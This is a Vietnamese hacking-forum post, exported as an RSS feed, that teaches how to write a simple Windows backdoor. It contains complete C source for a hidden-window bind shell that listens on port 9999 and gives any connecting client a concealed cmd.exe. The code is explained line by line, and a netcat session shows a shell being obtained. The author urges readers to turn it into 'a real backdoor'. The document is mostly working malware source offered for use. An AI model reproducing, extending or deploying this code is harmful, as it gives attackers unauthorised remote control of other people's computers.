<![CDATA[Latest posts for the topic "Hướng dẫn viết một backdoor đơn giản trên Windows"]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net Hướng dẫn viết một backdoor đơn giản trên Windows Code:
#include <windows.h>
#include <stdio.h>
#include <string.h>

#define PORT 9999	//<--Dat cong lang nghe la 9999
#define BANNER	"Seamoun (http://nhomvicki.net) - TcpShell 1.0\n"
#define	MAXRECVBUF	1000	//Bo dem toi da khi nhan
#define MAXPIPEBUF	1000	//Bo dem toi da cua pipe
#define WM_SHELL	WM_USER+1	//Tinh huong tu dinh nghia

#define	MyClass	"Seamoun"	//Ten lop
#define MyApp	"Seamoun"	//Ten ung dung

#pragma comment(lib,"wsock32.lib")	//Gop thu vien wsock32.lib


HANDLE	hThread_out;	
DWORD	dwChildThreadIdOut;
SECURITY_ATTRIBUTES	sa;	
STARTUPINFO	si;
PROCESS_INFORMATION pi;
HANDLE	hPipeOutputRead,hPipeOutputWrite,hPipeInputRead,hPipeInputWrite;
BOOL	NowUsing;

int	sock_listen,sock;
sockaddr_in	addrServer;


void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam);
int	WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
DWORD	__stdcall OutSocket(LPVOID lpData);

int	__stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
	HWND hwnd;
	MSG	 msg;

	WNDCLASSEX wc;
	wc.cbClsExtra=0;
	wc.cbSize=sizeof(wc);
	wc.cbWndExtra=0;
	wc.hbrBackground=(HBRUSH)COLOR_WINDOW;
	wc.hCursor=LoadCursor(NULL,IDC_ARROW);
	wc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
	wc.hIconSm=0;
	wc.hInstance=hInstance;
	wc.lpfnWndProc=(WNDPROC)WndProc;
	wc.lpszClassName=MyClass;
	wc.lpszMenuName=0;
	wc.style=CS_HREDRAW|CS_VREDRAW;

	RegisterClassEx(&wc);
	hwnd=CreateWindowEx(NULL,MyClass,MyApp,WS_OVERLAPPEDWINDOW,0,0,0,0,NULL,NULL,hInstance,NULL);
	ShowWindow(hwnd,SW_HIDE);
	UpdateWindow(hwnd);

	while (GetMessage(&msg,0,0,0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return msg.wParam;
}

int	WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
	WSADATA	wsaData;
	switch(msg)
	{
	case WM_CREATE:
		if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;
		if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1;
		
		addrServer.sin_family=AF_INET;
		addrServer.sin_port=htons(PORT);
		addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
		memset(&addrServer.sin_zero,'\0',8);
		if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;
		if (listen(sock_listen,1)==SOCKET_ERROR) return -1;
		if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
			FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;
		NowUsing=FALSE;
		break;
	case WM_CLOSE:
		PostQuitMessage(wParam);
		break;
	case WM_SHELL:
		GetShell(hwnd,wParam,lParam);
	default:
		return (DefWindowProc(hwnd,msg,wParam,lParam));
	}
	return 0;
}
void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
{
	long lEvent=WSAGETSELECTEVENT(lParam);
	static char buf[MAXRECVBUF];
	DWORD	dwNumberOfBytesWrite;
	int	sock_tmp;
	UINT	r;
	sockaddr_in	addrClient;
	int	sizeClient=sizeof(addrClient);
	if (lEvent==FD_ACCEPT)
	{
		if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET) 
			 if (WSAGetLastError()!=WSAEWOULDBLOCK) return;
		
		if (NowUsing==TRUE)
		{
			closesocket(sock_tmp);
			return;
		}
		sock=sock_tmp;
		send(sock,BANNER,strlen(BANNER),0);
		NowUsing=TRUE;

		sa.nLength=sizeof(sa);
		sa.lpSecurityDescriptor=0;
		sa.bInheritHandle=TRUE;

		CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
		CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

		memset((void *)&si,'\0',sizeof(si));
		memset((void *)&pi,'\0',sizeof(pi));

		si.cb=sizeof(si);
		si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
		si.wShowWindow=SW_HIDE;
		si.hStdInput=hPipeInputRead;
		si.hStdOutput=hPipeOutputWrite;
		si.hStdError=hPipeOutputWrite;

		CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\\"),&si,&pi);

		CloseHandle(hPipeInputRead);
		CloseHandle(hPipeOutputWrite);

		hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
		return;
	}
	else if (lEvent==FD_CLOSE)
	{
		closesocket(sock);
		TerminateProcess(pi.hProcess,0);
		TerminateThread(hThread_out,0);
		CloseHandle(pi.hProcess);
		CloseHandle(hPipeOutputRead);
		CloseHandle(hPipeInputWrite);
		NowUsing=FALSE;
	}
	if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
	buf[r]=0;
	WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}
DWORD	__stdcall OutSocket(LPVOID lpData)
{
	char szBuffer[MAXPIPEBUF];
	DWORD	dwNumberOfBytesRead;
	for (;;)
	{
		if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
		if (dwNumberOfBytesRead<=0) continue;
		FlushFileBuffers(hPipeOutputRead);
		szBuffer[dwNumberOfBytesRead]=0;
		send(sock,szBuffer,dwNumberOfBytesRead,0);
	}
	return 0;
}
Với đoan mã trên thì phần đăng kí và tạo ra window thì đơn giản, các bạn có thể tham khảo cách lập trình C trên Windows. Để khỏi dài dòng mình chỉ nói phần đổ cmd.exe như thế nào mà thôi ! 1) Trong tình huống WM_CREATE (tức là khi đang tạo Windows) chúng ta có đoạn mã sau: Code:
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;//<-- Khởi tạo thư viện winsocket
	if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1; //<--Tạo socket listen
	//Định nghĩa giá trị cho biến cấu trúc sockaddr_in addrServer
	addrServer.sin_family=AF_INET;	
	addrServer.sin_port=htons(PORT);
	addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
	memset(&addrServer.sin_zero,'\0',8);
	//--------------------------------------------------------------------
	if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;//Bind socket listen
	if (listen(sock_listen,1)==SOCKET_ERROR) return -1;	//<-- Đặt chế độ lắng nghe

	//Tạo những tình huống riêng (ở đây mình lấy tên tình huống riêng là WM_SHELL các bạn có thể lấy tên khác tùy ý miễn là nó được định nghĩa WM_USER +x)
	if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
		FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;

	NowUsing=FALSE;	//<--Đây đơn giản là biến dùng để đánh dấu socket đang dùng hay là không dùng nữa
2) Giải thích mã của hai hàm GetShell và OutSocket Code:
a) Hàm GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
	long lEvent=WSAGETSELECTEVENT(lParam);	//<--Lấy sự kiện
	static char buf[MAXRECVBUF];	//Khai báo biến buf để
	DWORD	dwNumberOfBytesWrite;	//
	int	sock_tmp;	//<--Khai báo một socket trung gian
	UINT	r;
	sockaddr_in	addrClient;
	int	sizeClient=sizeof(addrClient);
	//Khi có kết nối đến từ máy client - Ở đây kết nối được chấp nhận và sử lý như sau
	if (lEvent==FD_ACCEPT)
	{
		if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET) 
			 if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

		//Nếu như đang sử dụng thì đóng socket này lại	
		if (NowUsing==TRUE)
		{
			closesocket(sock_tmp);
			return;
		}
		
		sock=sock_tmp;
		send(sock,BANNER,strlen(BANNER),0);
		NowUsing=TRUE;

		sa.nLength=sizeof(sa);
		sa.lpSecurityDescriptor=0;
		sa.bInheritHandle=TRUE;
		
		//Tạo hai ống dẫn dùng để đổ cmd.exe. Một ống dùng để nhận lệnh từ client gửi đến và một ống dùng để xuất kết quả trả về cho client

		CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
		CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

		memset((void *)&si,'\0',sizeof(si));
		memset((void *)&pi,'\0',sizeof(pi));
		//Khởi tạo một số thông số cho biến cấu trúc si (Startup Information: thông tin khởi động)
		si.cb=sizeof(si);
		si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
		si.wShowWindow=SW_HIDE;
		si.hStdInput=hPipeInputRead;
		si.hStdOutput=hPipeOutputWrite;
		si.hStdError=hPipeOutputWrite;

//Tạo một tiến trình mới. Mà ở đây là chạy cmd.exe		CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\\"),&si,&pi);

		CloseHandle(hPipeInputRead);
		CloseHandle(hPipeOutputWrite);
		//Tạo luồng trong tiến trình mới với mục đích là đọc ghi dữ liệu
		hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
		return;
	}
	else if (lEvent==FD_CLOSE)
	{
	//Đóng tất các các handle khi xuất hiện tình huống FD_CLOSE
		closesocket(sock);
		TerminateProcess(pi.hProcess,0);
		TerminateThread(hThread_out,0);
		CloseHandle(pi.hProcess);
		CloseHandle(hPipeOutputRead);
		CloseHandle(hPipeInputWrite);
		NowUsing=FALSE;
	}
	if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
	buf[r]=0;
	//Nhận dữ liệu từ client và ghi đến CMD.EXE
	WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}
3) Giải thích mã hàm OutSocket Code:
DWORD	__stdcall OutSocket(LPVOID lpData)
{
	char szBuffer[MAXPIPEBUF];
	DWORD	dwNumberOfBytesRead;
	//Tạo vòng lặp vô tận để nhận kết quả trả về từ CMD.EXE
	for (;;)
	{
		if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
		if (dwNumberOfBytesRead<=0) continue;
		FlushFileBuffers(hPipeOutputRead);
		szBuffer[dwNumberOfBytesRead]=0;	//<-- Thêm kí tự kết thúc chuỗi trong dữ liệu trả về
		//Hiển thị kết quả CMD.EXE trả về ra màn hình client
		send(sock,szBuffer,dwNumberOfBytesRead,0);
	}
	return 0;
}
Biên dịch đoạn mã trên và thực thi nó sẽ có kết quả như sau: tcpshell sẽ lắng nghe trên cổng 9999. Chúng ta kết nối đến cổng 9999 bằng netcat để xem tcpshell đổ cmd.exe như thế nào Code:
d:\>nx -vv -n 10.0.0.1 9999
(UNKNOWN) [10.0.0.1] 9999 (?) open
Seamoun (http://nhomvicki.net) - TcpShell 1.0
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

c:\>	<--- Vậy là đã có shell
Sau bài này các bạn có thể phát triển tiếp cho mã trên trở thành một con backdoor thực sự ! Bài này mình viết lâu roài. Đã post lên HVA rồi mà hổng biết sao tìm hổng thấy bài này nên mình post lại 8)) ]]>
/hvaonline/posts/list/5516.html#32372 /hvaonline/posts/list/5516.html#32372 GMT